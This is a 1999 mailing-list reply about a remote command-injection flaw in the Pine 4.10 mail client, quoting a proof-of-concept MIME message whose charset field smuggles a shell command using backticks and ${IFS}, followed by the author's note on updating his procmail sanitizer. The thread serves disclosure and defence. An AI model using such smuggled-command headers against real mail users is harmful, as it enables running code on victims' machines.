Re: remote exploit on pine 4.10 - neverending story?

From: John D. Hardin (jhardinat_private)
Date: Mon Feb 08 1999 - 09:25:11 PST

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    On Mon, 8 Feb 1999, Michal Zalewski wrote:
    
    >   Hmm, but take a look at this message:
    >
    > ************************** MIME MESSAGE FOLLOWS **************************
    > From: Attacker <attackerat_private>
    > To: Victim <victimat_private>
    > Subject: Happy birthday
    > ...
    > MIME-Version: 1.0
    > Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"
    >
    > --8323328-235065145-918425607=:319
    > Content-Type: TEXT/PLAIN; charset='US-ASCII'
    >
    > Make a wish...
    >
    > --8323328-235065145-918425607=:319
    > Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c"
    > Content-Transfer-Encoding: BASE64
    > Content-Description: wish
    > Content-Disposition: attachment; filename="wish.c"
    >
    > ...it could be your last.
    > *************************** MIME MESSAGE ENDS ***************************
    
    Okay, I have added `` -> " conversion to my procmail MIME sanitizer.
    
    Michal, is that the only way to exploit this? Or should there be ` ->
    ' conversion as well?
    
    See http://www.wolfenet.com/~jhardin/procmail-security.html for
    details.
    
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